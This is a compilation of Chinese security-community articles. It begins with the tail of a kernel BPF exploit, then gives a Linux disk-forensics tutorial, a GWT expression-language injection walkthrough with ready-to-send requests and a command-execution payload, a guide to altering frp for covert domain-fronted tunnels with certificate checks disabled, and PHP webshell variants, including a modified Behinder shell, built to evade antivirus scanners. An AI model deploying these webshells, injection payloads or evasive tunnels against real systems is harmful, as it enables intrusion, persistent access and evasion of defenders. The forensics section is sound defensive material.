6: (07) r0 += -2144337872
7: (14) w0 -= -1607454672
8: (76) if w0 s>= 0x303030 goto pc+1
9: (05) goto pc-1
10: (95) exit
## 链接
[1]
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f2d67fec0b43edce8c416101cdc52e71145b5fef>
[2]
<https://elixir.bootlin.com/linux/v5.6-rc5/source/kernel/bpf/verifier.c#L9984>
[3]
<https://github.com/DayJun/Blogs/blob/master/Articles/CVES/CVE-2020-8835/poc.c>
[4]
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/snapshot/linux-641cd7b06c911c5935c34f24850ea18690649917.tar.gz> | 社区文章 |
# 【技术分享】Linux取证技术实践
|
##### 译文声明
本文是翻译文章，文章来源：countuponsecurity.com
原文地址：<https://countuponsecurity.com/2017/04/12/intro-to-linux-forensics/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[华为未然实验室](http://bobao.360.cn/member/contribute?uid=2794169747)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
本文将介绍Linux取证技术并予以实践。我将执行一系列步骤，以分析从运行红帽操作系统的受损系统获取的磁盘。我首先是识别文件系统、挂载不同的分区、创建一个[超级时间轴](https://countuponsecurity.com/2015/11/23/digital-forensics-supertimeline-event-logs-part-i/)和一个文件系统时间轴。我还快速查看了工件，然后解挂了不同的分区。我将跳过如何获取磁盘的过程，不过可点击[此处](https://digital-forensics.sans.org/blog/2010/09/28/digital-forensics-copy-vmdk-vmware-virtual-environment/)了解如何从VMware ESX主机获取磁盘镜像。
**Linux取证技术实践**
从ESX主机获取不同的磁盘文件时，你需要VMDK文件。然后，你将其移到你的实验室，这可能很简单，，因为你的笔记本电脑使用SIFT工作站运行虚拟机。要分析VMDK文件，你可以使用“libvmdk-utils”软件包，该软件包包含用于访问存储在VMDK文件中的数据的工具。不过另一种方法是将VMDK文件格式转换为RAW格式。如果采用后一种方法，运行不同工具将会更容易，比如[Sleuth
Kit](https://www.sleuthkit.org/)中的工具（将针对镜像大量使用）。要执行转换，可以使用QEMU磁盘镜像实用程序。步骤如下图所示。
之后，你可以从磁盘镜像列出分区表，并使用“mmls”实用程序获取有关每个分区起始位置（扇区）的信息。然后，使用起始扇区，并使用“fsstat”实用程序查询与文件系统相关的详细信息。从下图可以看到，“mmls”和“fsstat”实用程序能够识别第一个分区“/boot”，
类型为0x83 (ext4)。但是，“fsstat”无法识别从扇区1050624起始的第二个分区。
这是因为此分区的类型为0x8e（[逻辑卷管理器](https://www.centos.org/docs/5/html/Deployment_Guide-en-US/ch-lvm.html)）。如今，许多Linux发行版默认使用LVM（逻辑卷管理器）方案。LVM使用允许将硬盘驱动器或一组硬盘驱动器分配给物理卷的抽象层。物理卷组合成逻辑卷组，逻辑卷组可以分为具有挂载点和ext4等文件系统类型的逻辑卷。
使用“dd”实用程序，你可以轻松看到LVM2卷的存在。为了使其可用于我们不同的取证工具，我们需要从LVM分区表创建设备映射，其将通过创建环回设备并进行映射来自动创建分区设备。然后，我们使用管理LVM卷的不同实用程序，比如“pvs”、“vgscan”及“vgchange”。下图显示了执行此操作的必要步骤。
在激活LVM卷组之后，我们有六个设备映射到六个挂载点，这些挂载点生成了该磁盘的文件系统结构。下一步是将不同的卷作为只读挂载，因为我们将挂载正常设备进行取证分析。因为创建一个匹配分区方案的文件夹结构非常重要。
挂载磁盘后，通常可以通过创建[时间轴](https://countuponsecurity.com/2015/11/23/digital-forensics-supertimeline-event-logs-part-i/)来开始进行取证分析和调查。这是一个非常有用的关键步骤，因为其包含有关以人可读格式修改、访问、更改及创建的文件的信息，称为MAC时间证据（修改的、访问的、更改的）。此活动有助于查找事件发生的特定时间和顺序。
在我们创建我们的时间轴之前，值得注意的是，在Linux文件系统（如ext2和ext3）中，没有关于文件创建/生成时间的时间戳。只有3个时间戳。ext4中引入了创建时间戳。Dan
Farmer和Wietse Venema的“The Forensic Discovery 1st Edition”一书概述了不同的时间戳：
最后修改时间。对于目录，是指最后一次添加、重命名或删除条目的时间。对于其他文件类型，是指最后一次写入文件的时间。
最后访问（读取）时间。对于目录，是指最后一次被搜索的时间。对于其他文件类型，是指最后一次文件被读取的时间。
最后状态更改。状态更改的例子有：所有者的变更、访问许可的更改、硬链接计数的更改或任何MAC时间的显式更改。
删除时间。Ext2fs和Ext3fs在dtime时间戳中记录文件被删除的时间，但并不是所有的工具都支持它。
创建时间：Ext4fs在crtime时间戳中记录文件被创建的时间，但并不是所有的工具都支持它。
不同的时间戳存储在包含在inode中的元数据中。Inode（索引节点）相当于Windows中的MFT条目号。在Linux系统中读取文件元数据的一种方法是，首先使用，比如“ls
-i
file”命令，获取inode号，然后针对分区设备使用“istat”，并指定inode号。这将显示不同的元数据属性，包括时间戳、文件大小、所有者组和用户标识、权限及包含实际数据的块。
好的，我们先来创建一个超级时间轴。我们将使用Plaso来创建。Plaso是基于Perl的log2timeline的基于Python的重写。超级时间轴的创建是一个简单的过程，其适用于不同的操作系统。但是，解释很难。最后一个版本的Plaso引擎能够解析EXT
4，还能解析不同类型的工件，比如syslog消息、审计、utmp，等等。为创建超级时间轴，我们将针对已挂载的磁盘文件夹启动log2timeline并使用Linux解析器。这个过程将需要一些时间，当完成后，你将获得plaso数据库格式的带有不同工件的时间轴。然后，你可以使用“psort.py”实用程序将它们转换为CSV格式。下图概述了执行此操作所需的步骤。
在开始查看结合了不同工件的超级时间轴之前，你还可以为ext文件系统层（包含有关已分配和已删除的文件及未分配的inode的数据）创建传统时间轴。这分两步完成。首先，使用TSK中的“fls”工具生成body文件。然后，使用“mactime”对其内容进行排序，并以人可读格式呈现结果。您可以对使用“kpartx”创建的每个设备映射执行此操作。为简洁起见，下图仅显示了“/”分区的这一步。你需要为每个其他映射设备执行此操作。
在我们开始分析之前，值得一提的是，在Linux系统中存在与调查相关的大量文件和[日志](https://community.rackspace.com/products/f/25/t/531)。可用于收集和调查的数据量可能因配置的设置以及系统执行的功能/角色的不同而各异。另外，不同的Linux操作系统遵循一种文件系统结构——以共同标准排列不同的文件和目录。这称为文件系统层次结构标准(FHS)。熟悉这种结构有助于发现异常。要查看的东西很多，但其中要做的一件事是针对挂载的磁盘运行“[chkrootkit](http://www.chkrootkit.org/)”工具。Chrootkit是由Nelson
Murilo和Klaus Steding-Jessen创建的脚本集合，可让您检查磁盘是否存在任何已知的内核模式和用户模式rootkit。
现在已生成超级时间轴和时间轴，我们可以开始分析了。在这种情况下，我们直接进入时间轴分析，在此提示，在四月的头几天可能发生了一些事。
在分析过程中，做到细致、耐心很有帮助，拥有全面的文件系统和操作系统工件知识也有裨益。有助于分析（超级）时间轴的一件事是拥有一定的有关事件确实发生的时间的引领。在这种情况下，在此提示，在4月初可能发生了一些事情。有了这一信息，我们开始缩小（超级）时间轴的时间范围。本质上，我们将寻找与日期有时间接近的相关的工件。目标是能够根据不同的工件重新创建所发生的事情。
在分析时间轴后，我们发现了一些可疑活动。下图展示了使用“fls”和“mactime”生成的时间轴输出。有人删除了一个名为“/tmp/k”的文件夹，并重命名了“ping”和“ls”等常用二进制文件，并将相同名称的文件放在了“/usr/bin”文件夹中。
这需要进一步查看。查看时间轴后可以看到，“fls”的输出显示该条目已被删除。因为inode没有重新分配，所以我们可以尝试查看文件的备份是否仍然驻留在日志中。日志概念是在ext3文件系统中引入的。在ext4中，默认情况下日志功能为启用状态，并使用“data
= ordered”模式。在这种情况下，我们也可以检查用于挂载文件系统的选项。为此，要查看“/etc/fstab”。
我们可以看到使用的是默认值。这意味着，如果目录被删除与映像获取之间的时间间隔很短，那么我们可能有机会从被删除的文件恢复数据。尝试恢复被删除的数据的一种方法是使用“extundelete”工具。下图显示了该步骤。
恢复的文件对更多了解发生了什么非常有用，可进一步帮助调查。我们可以计算文件MD5，验证其内容以及其是否是NSLR数据库或Virustotal已知的。如果其是一个二进制文件，那我们可以使用“objdump”和“readelf”等工具针对该二进制文件算出字符串并推导出功能。我们还获取并查看了在时间轴中看到的在“/usr/sbin”上创建的不同文件。检查其MD5，我们发现其是与Red
Hat一起分发的合法操作系统文件。但是，“/bin”文件夹中的文件，比如“ping”和“ls”，不是合法文件，这些文件匹配从“/tmp/k”恢复的文件的MD5。因为某些文件是ELF二进制文件，所以我们将这些文件复制到了一个隔离的系统中，以便执行快速分析。我们可以使用“ltrace
-i”和“strace
-i”轻松启动二进制文件，其将拦截和记录不同的函数/系统调用。查看输出后可以很容易发现有错误之处。这个二进制文件看起来不是正常的“ping”命令，它调用fopen()函数来读取文件“/usr/include/a.h”，并写入/tmp文件夹中的一个文件，其中文件名使用tmpnam()生成。最后，其产生一个分段错误。下图显示了该行为。
提供这些信息后，我们返回查看，发现文件“/usr/include/a.h”在文件“ping”被移动/删除前一刻被修改了。所以，我们可以检查
“a.h”文件的创建时间——ext4文件系统的新时间戳——使用“stat”命令。默认情况下，“stat”不显示crtime时间戳，但你可以将其与“debugfs”结合使用来获取。我们还检查了这个奇怪文件的内容是否是乱码。
现在我们知道有人在2017年4月8日16:34创建了这个“a.h”文件，我们能够恢复被删除的其他几个文件。此外，我们发现一些系统二进制文件似乎放错了，至少“ping”命令预期从“a.h”文件中读取了一些东西。有了这些信息，我们回头看看超级时间轴，以便找到这个时候可能发生的其他事件。正如我提到的，超级时间轴能够解析来自Linux操作系统的不同工件。在这种情况下，经过一些清理，我们可以看到，在相关时间内我们有来自audit.log和WTMP的工件。Linux
audit.log跟踪有关红帽系统的安全相关信息。基于预先配置的规则，Audit守护进程生成日志条目，以尽可能多地记录有关系统上正在发生的事件的信息。WTMP记录有关登录和登出系统的信息。
这些日志显示，在文件“a.h”被创建及“ping”和“ls” 二进制文件被错放前一刻，某人使用根证书从从IP
213.30.114.42（假IP）登录了系统。
现在我们有了网络指标。下一步，我们应开始查看我们的代理和防火墙日志，以获取关于IP地址的痕迹。同时，我们可以继续我们的时间轴分析，以查找有关的其他工件，并对找到的文件进行深入的二进制分析，创建IOC，比如Yara签名，其有助于找到环境中更多的受损系统。
完成分析和取证工作后，你可以解挂分区，取消激活卷组并删除设备映射。下图显示了这些步骤。
**后记**
Linux取证与微软Windows取证相比有很大不同，也很有趣。有趣的部分（调查）是熟悉Linux系统工件。安装原始的Linux系统，获取磁盘并查看不同的工件。然后利用一些工具/方法攻破机器，获得磁盘并再次进行分析。你可以通过这种方式反复练习自己的Linux取证技能。 | 社区文章 |
# 如何在Google Web Toolkit环境下Getshell
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Google Web
Toolkit简称（GWT），是一款开源Java软件开发框架。今天这篇文章会介绍如何在这样的环境中通过注入表达式语句从而导致的高危漏洞。
## 漏洞介绍
在WEB-INF/web.xml中，我发现了以下的web端点映射：
<servlet>
<servlet-name>someService</servlet-name>
<servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>someService</servlet-name>
<url-pattern>/someService.gwtsvc</url-pattern>
</servlet-mapping>
我们可以从上面代码中看到引用了服务器映射。由于GWT可以通过定义客户端以便于表示客户端能够进行哪些访问。我们看看这些客户端类com.aaa.bbb.ccc.ddd.client：
`public abstract interface SomeService
extends RemoteService
{
public abstract void sendBeanName(String paramString);
public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList);
public abstract void createMibNodeGettingBean();
}`
通过以上代码我们可以看到有三个函数，所以把它们单独拿出来，看看它们的各自功能都是什么。在ServiceImpl的主函数中，我们找到了如下代码：
`public void sendBeanName(String paramString)
{
if (paramString == null) {
return;
}
HttpSession localHttpSession = super.getThreadLocalRequest().getSession();
if (localHttpSession != null) {
localHttpSession.setAttribute("MibWidgetBeanName", paramString);
}
}`
在这段代码中我们通过输入字符串来更改”MibWidgetBeanName”属性。除了这一点，好像没有什么可以利用的。我们继续看setMibNodesInfo函数：
`public Boolean setMibNodesInfo(List<MIBNodeModel> paramList)
{
List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList);
if (localList != null)
{
MibNodesSelect localMibNodesSelect = getBeanByName();`
这个函数需要一个MIBNodeModel类型的一个列表。mibNodeModelList2MibNodeList这个方法会检查我们输入的列表是否符合规范，并且根据列表的一个元素的值返回不同的值。
如果列表是空，这个函数会定义一个新列表，并且将内容设置为MIBNodeModel的默认值。然后getBeanByName函数就会被调用。继续看看这一函数吧
private MibNodesSelect getBeanByName()
{
…
Object localObject1 = super.getThreadLocalRequest().getSession();
if (localObject1 != null)
{
localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName");
if (localObject2 != null)
{
localObject3 = null;
try
{
localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}");
}
finally
{
if ((localFacesContext != null) && (i != 0)) {
localFacesContext.release();
}
}
return (MibNodesSelect)localObject3;
}
}
return null;
}
由于这是一个私有函数，所以我们不能通过客户端直接查看到这个函数的内容。在第8行我们可以了解到这里再次使用了”MibWidgetBeanName”属性，将一个字符串存储到了localObject2中。
localObject2这个变量稍后会在第14行被用到去接受一个语言表达式。很明显，这是一个经典的表达式注入漏洞，不过前提是先反汇编出代码呀～
## 攻击过程
首先，这不是一个有返回值的语言表达式注入漏洞。这就意味着你不知道它是不是已经执行你输入的命令。因此，我将它认为是语言表达式盲注。
我通过一个简单的例子进行说明，假如我们一个JSF(java服务器框架)存在这样的一个漏洞，那么漏洞代码会类似下方：
`<h:outputText
value="${beanEL.ELAsString(request.getParameter('expression'))}" />`
那么，通过以下攻击代码就可以实现攻击
`http://[target]/some_endpoint/vuln.jsf?expression=9%3b1`
由于浏览器会将”+”号转换为空格，所以我们对”+”号进行url编码，如果我们得到的结果是10,那么我们就知道服务器已经执行这一个”9+1”这个命令。使用数学表达式进行注入检测是burpsuit检测注入的方法。
但是，在上述我们进行审计的代码当中，我们是不是不能去轻易的判断他是不是存在语言表达式漏洞？当然不是，我们还有其他方法。通过查找JSF说明文档，我发现了一些特别棒的函数，能够方便我们在不发出http请求确定是否存在EL注入。
Oracle官方文档陈述道你可以在FacesContext对象中使用getExternalContext方法。这个方法会返回一个ExternalContext类型的值，它允许我们设置特定对象的响应属性。当我查看文档时，这两个函数引起了我的注意：
1. setResponseCharacterEncoding
2. redirect
因此我们可以通过设置这个特定字符串为下面java代码：
`facesContext.getExternalContext().redirect("http://srcincite.io/");`
如果响应状态值为302,重定向到了”<http://srcincite.io/> “,那么我们就可以确定存在漏洞。
## 漏洞测试
我们第一个请求是对MibWidgetBeanName属性进行赋值
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: /
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 195
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect(“http://srcincite.io/")|1|2|3|4|1|5|6|
通过返回响应为”//ok[[],0,6]”可以了解到，我们对GWT注意已经成功。然后第二个请求触发存放在session中的字符串。但是，当我们发送请求之前，因为setMibNodesInfo函数传入的是一个复杂的变量类型，我们需要查看被保护文件的源代码，了解一下允许提交的类型。在[strongname].gwt.rpc文件中，我找到了在数组中可以提交的类型:
java.util.ArrayList/382197682。
现在我们可以发送我们的请求数据了
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: /
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
正确的返回包内容应该和下面相似：
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly
Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Location: http://srcincite.io/
Content-Type: text/html;charset=UTF-8
Content-Length: 45
Date: Wed, 03 May 2017 18:58:36 GMT
Connection: close
//OK[0,1,[“java.lang.Boolean/476441737”],0,6]
当然，能够重定向说明已经执行成功了。但是我们需要的是得到shell，在这篇文章
<http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html>
可以使用ScriptEngineManager的脚本执行java代码。不过他们的代码都特别长，所以我使用相同的方法自己写了一个
`"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var
proc=new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/c\",\"calc.exe\"]).start();")`
更新MibWidgetBeanName属性值，然后使用setMibNodesInfo再一次除非这个字符串，然后得到系统权限.
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: /
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 366
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|””.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“JavaScript”).eval(“var proc=new java.lang.ProcessBuilder“(java.lang.String[])“.start();”)|1|2|3|4|1|5|6|
触发语言表达式：
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: /
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
## 结论
这一漏洞几乎不可能在黑盒渗透测试中被发现。像burp suite这样的工具不会发现这样的漏洞，尤其是在考虑到字符串储存到seesion中这种情况。
随着网络技术的进步，我们对自动化的依赖越来越大， 在这一领域我们需要更多知识，技能以及工具。
资料参考
<http://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html>
专注于普及网络安全知识。团队已出版《Web安全攻防：渗透测试实战指南》，《内网安全攻防：渗透测试实战指南》，目前在编Python渗透测试，JAVA代码审计和二进制逆向方面的书籍。
团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货，从零开始、以实战落地为主，致力于做一个实用的干货分享型公众号。
官方网站：www.ms08067.com | 社区文章 |
# frp改版-域前置
## wss实现
github上面有人push了wss实现
<https://github.com/fatedier/frp/pull/1919/files>
**注意:**
* 由于frp不支持wss协议，所以需要cdn配置回源协议为http。
直接使用wss，frp服务端会报错:invalid protocol version。
## 具体代码修改
wss实现了就已经实现了配置域前置的第一步。
后面就是回源HOST了。由于默认frp的HOST就是连接的地址，导致无法使用域前置。
先分析WSS的HOST实在哪配置的。
D:\go\src\pkg\mod\golang.org\x\[email protected]\websocket\hybi.go
在hybiClientHandshake函数中，原先的代码是
bw.WriteString("Host: " + removeZone(config.Location.Host) + "\r\n")
下图是我修改后的
func hybiClientHandshake(config *Config, br *bufio.Reader, bw *bufio.Writer) (err error) {
bw.WriteString("GET " + config.Location.RequestURI() + " HTTP/1.1\r\n")
// According to RFC 6874, an HTTP client, proxy, or other
// intermediary must remove any IPv6 zone identifier attached
// to an outgoing URI.
host :=config.Location.Host
if tmpHost :=config.Header.Get("Host");tmpHost !=""{
host=tmpHost
}
bw.WriteString("Host: " + removeZone(host) + "\r\n")
在
D:\go\src\pkg\mod\golang.org\x\[email protected]\websocket\client.go
NewConfig函数中可向config.Header传递值,需要新加一个参数websocket_domain。
func NewConfig(server, origin string,websocket_domain string) (config *Config, err error) {
config = new(Config)
config.Version = ProtocolVersionHybi13
config.Location, err = url.ParseRequestURI(server)
if err != nil {
return
}
config.Origin, err = url.ParseRequestURI(origin)
if err != nil {
return
}
config.Header = http.Header(make(map[string][]string))
config.Header.Set("Host",websocket_domain)
return
}
NewConfig在util/net/websocket.go 中的ConnectWebsocketServer被调用。
由于在域前置里，用wss协议的情况下，server_addr用域名会不能正常回源，只能用ip。且会存在证书报错。所以需要做以下修改。
func ConnectWebsocketServer(addr string,websocket_domain string,isSecure bool) (net.Conn, error) {
if isSecure {
ho := strings.Split(addr, ":")
ip, err := net.ResolveIPAddr("ip", ho[0])
ip_addr := ip.String() + ":" + ho[1]
if err != nil {
return nil, err
}
addr = "wss://" + ip_addr + FrpWebsocketPath
} else {
addr = "ws://" + addr + FrpWebsocketPath
}
uri, err := url.Parse(addr)
if err != nil {
return nil, err
}
var origin string
if isSecure {
ho := strings.Split(uri.Host, ":")
ip, err := net.ResolveIPAddr("ip", ho[0])
ip_addr := ip.String() + ":" + ho[1]
if err != nil {
return nil, err
}
origin = "https://" + ip_addr
} else {
origin = "http://" + uri.Host
}
fmt.Println("addr:"+addr)
fmt.Println("origin:"+origin)
cfg, err := websocket.NewConfig(addr, origin, websocket_domain)
if err != nil {
return nil, err
}
cfg.Dialer = &net.Dialer{
Timeout: 10 * time.Second,
}
conn, err := websocket.DialConfig(cfg)
if err != nil {
return nil, err
}
return conn, nil
}
ConnectWebsocketServer在util/net/conn.go中ConnectServerByProxy被调用，添加新增参数。
func ConnectServerByProxy(proxyURL string,websocket_domain string, protocol string, addr string) (c net.Conn, err error) {
switch protocol {
case "tcp":
return gnet.DialTcpByProxy(proxyURL, addr)
case "kcp":
// http proxy is not supported for kcp
return ConnectServer(protocol, addr)
case "websocket":
return ConnectWebsocketServer(addr, websocket_domain,false)
case "wss":
return ConnectWebsocketServer(addr, websocket_domain,true)
default:
return nil, fmt.Errorf("unsupport protocol: %s", protocol)
}
}
ConnectServerByProxyWithTLS调用ConnectWebsocketServer
ConnectServerByProxyWithTLS被两处调用。
我这里是新加了功能，所以写了两种service.go。
分别是client/control.go、client/service.go
后面说一下，如何在frp的配置文件新增参数。
我是直接将配置文件写在变量里面。
调用流程parseClientCommonCfg--->parseClientCommonCfgFromIni---->UnmarshalClientConfFromIni
重点在UnmarshalClientConfFromIni函数中。
可以看到frp解析配置文件，通过conf.Get("common", "server_addr")获取参数，放入cfg.ServerAddr。
conf, err := ini.Load(strings.NewReader(content))
if err != nil {
return ClientCommonConf{}, fmt.Errorf("parse ini conf file error: %v", err)
}
cfg.AuthClientConfig = auth.UnmarshalAuthClientConfFromIni(conf)
var (
tmpStr string
ok bool
v int64
)
if tmpStr, ok = conf.Get("common", "server_addr"); ok {
cfg.ServerAddr = tmpStr
}
if tmpStr, ok = conf.Get("common", "server_port"); ok {
v, err = strconv.ParseInt(tmpStr, 10, 64)
if err != nil {
err = fmt.Errorf("Parse conf error: invalid server_port")
return
}
cfg.ServerPort = int(v)
}
所以我们只需要models/config/client_common.go 的ClientCommonConf新增结构。
在UnmarshalClientConfFromIni里面，获取protocol分支里面增加获取websocket_domain参数即可
if tmpStr, ok = conf.Get("common", "protocol"); ok {
// Now it only support tcp and kcp and websocket.
if tmpStr != "tcp" && tmpStr != "kcp" && tmpStr != "websocket"&& tmpStr != "wss" {
err = fmt.Errorf("Parse conf error: invalid protocol")
return
}
cfg.Protocol = tmpStr
if tmpStr, ok = conf.Get("common", "websocket_domain"); ok {
cfg.Websocket_domain = tmpStr
}
}
而client/control.go、client/service.go中都是通过ClientCommonConf获取参数。
最后，修复证书错误问题。
修改`websocket/dial.go`里的`dialWithDialer`方法。
func dialWithDialer(dialer *net.Dialer, config *Config) (conn net.Conn, err error) {
switch config.Location.Scheme {
case "ws":
conn, err = dialer.Dial("tcp", parseAuthority(config.Location))
case "wss":
config.TlsConfig = &tls.Config{
InsecureSkipVerify: true,
}
conn, err = tls.DialWithDialer(dialer, "tcp", parseAuthority(config.Location), config.TlsConfig)
default:
err = ErrBadScheme
}
return
}
当使用wss协议的时候，将TlsConfig.InsecureSkipVerify设置为true，即可忽略证书错误了。
frp默认的特征比较明显，修改特征
utils/net/websocket.go
修改常量FrpWebsocketPath。
## 测试
cdn配置回源http
客户端配置
[common]
server_addr = xxxxxxxxxxxxx
server_port = 443
token=xxx
websocket_domain=xxxxxxx
protocol = wss
tls_enable=true
[%s]
type = tcp
remote_port = %d
plugin = socks5
plugin_user = a
plugin_passwd = %s
use_encryption = true
use_compression = true
服务端配置
[common]
#绑定地址
bind_addr = 0.0.0.0
#TCP绑定端口
bind_port = 443
#连接密码
token=xxx
## 参考
FRP改造计划续-<https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%BB%AD.html> | 社区文章 |
# webshell免杀之函数与变量玩法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前文列举了一些用符号免杀的例子，此篇文章就以函数和变量来尝试下免杀。
本文以PHP为例，用PHP中函数和变量及语法特性，在不隐藏函数关键字情况下进行免杀。
### 动态函数
PHP中支持一个功能叫 variable function ，变量函数的意思。
> 例：$a=’system’; $a(‘dir’); //最终是system(‘dir’);
当一个变量后边带括号，那他就被视作一个函数。编译器会解析出变量的值（假设值为符串system），然后会去找当前是否存在名为“system()”的函数并执行它。
注：eval 、echo、print 等看似是函数但并非函数，而是语言构造器（语言结构），不支持该用法
动态函数利用时就可以达到隐藏危险函数关键字特征的目的，我可以对函数关键字进行拆分，编码，然后拼接还原，再利用动态函数特性执行。
例：$_GET[‘func’]($_REQUEST[‘pass’]); //这就是动态函数webshell
这里就不给实例了，很多免杀案例中都用到了这个特性。也是被疯狂查杀的特征。
### 回调函数
回调函数，简单来说就是一个函数不是由我直接调用，而是通过另一个函数去调用它。
这种方法很简单，php中回调函数有很多个，但大多已经被标记
经过测试找到一个目前还能免杀的：
<?php
forward_static_call_array('assert',array($_GET['x'])); ?>
D盾：1级forward_static_call_array
如果尝试对回调函数 进行字符特征隐藏，再用动态函数执行，反而提升2级
### 魔术方法
PHP中以两个下划线开头的函数，被称为魔术方法 是保留方法。
> 魔术方法是一种特殊的方法，当对对象执行某些操作时会覆盖 PHP 的默认操作。
魔术方法中有两个函数：
构造函数：创建对象时会自动调用此方法，初始化操作。
析构函数：对象的引用被全部删除或销毁时执行。析构函数不能有参数
//__destruct() 析构函数 ；__construct() 构造函数
<?php
class me{
public $a = '';
function __destruct(){
eval("$this->a".' ');
}
}
$a=$_GET['xxx'];
$b = new me;
$b->a = $a;
?>
D盾3级 可疑；安全狗 护卫神 免杀
上面用析构函数D盾会检测到，当尝试改特征时发现，不用析构函数就能够免杀。
果然，高端的免杀往往只需要最朴素的方式
<?php
class mexx{
public $a = '';
function mexx(){
eval("$this->a".'; ');
}
}
$a=$_GET['xxx'];
$b = new mexx;
$b->a = $a;
echo $b->mexx();
?>
全过。
### 可变变量
PHP还支持一种语法：可变变量，可以把一个变量的值作为另一个变量的变量名。
例如：
变量a的值是‘c’； 变量c的值是‘ccc’，当使用两个 变量符号时 \$\$a 这就是一个可变变量,就不是\$a 而是\$c。
为什么会是$c ？
> 在编程中,代码执行时整体是从上到下,从左到右,但是赋值语句,则是从右到左。
测试来看可变变量是从右往左的
$a='c';
$c='flag';
echo $a; //结果 c
echo $$a; //结果 flag
// $$a 解析从右往左找到第一个变量符号 把$a解析，得到$c
这里利用可变变量进行免杀
<?php
$c=‘1’; //删掉此句 安全狗免杀；
$a='c';
$$a=$_POST[‘x’]; //$c
assert($c); //d盾特征
?>
变量c需要给一个值，不能空值，否侧d盾检测到变量未知内容，会报4级
D盾1级，其他免杀
这里有个想法，可变变量能支持多少层哪，只能变一次还是能多次。
$a='c';
$c='flag';
$flag='123';
echo $$a; //结果 flag
echo $$$a; //结果 123
echo "$$a"; //结果 $c
echo "{$$$a}"; //结果 123
最终发现可变变量是支持多层的，但在双引号中不支持可变变量，需要用花括号来包裹声明。
## 改造冰蝎
了解了前面的方法，那就尝试对冰蝎的脚本改造一下。
先来看冰蝎3.0的默认脚本，查杀一下
经过用D盾尝试，发现file_get_contents，openssl 等关键字都会被检测为木马，最终在不动eval关键字情况下，修改如下
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$aaa='file_get_contents';
$bbb='openssl';
$post=$aaa("php://input");
if(!extension_loaded($bbb))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15]; }
}
else
{ $post=openssl_decrypt($post, "AES128", $key); }
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class mexx{
public $a = '';
function mexx(){
eval("$this->a".'');
}
}
$b = new mexx();
$b->a = $params;
echo $b->mexx();
?>
原本的类中是用了魔术方法将对象当函数执行，用回调函数去调用。
这里改为常规的方式调用，将被查杀file_get_contents关键字用改成变量函数调用
本地查杀：安全狗护卫神免杀，D盾（1级｜可疑）
在线查杀效果
只有报了一个，我推断是检测到eval关键字才告警，遂换成echo函数试试是否免杀
结果还是被查杀，看来检测的特征不是在这里。
经过不断尝试，想到密钥 key的值是默认的e45e329feb5d925b，会不会是它。
把key改掉，如下
<?php
@error_reporting(0);
session_start();
$key="47bce5c74f589f48"; //aaa
$_SESSION['k']=$key;
session_write_close();
$aaa='file_get_contents';
$bbb='openssl';
$post=$aaa("php://input");
if(!extension_loaded($bbb))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15]; }
}else{ $post=openssl_decrypt($post, "AES128", $key); }
$arr=explode('|',$post);
$func=$arr[0];
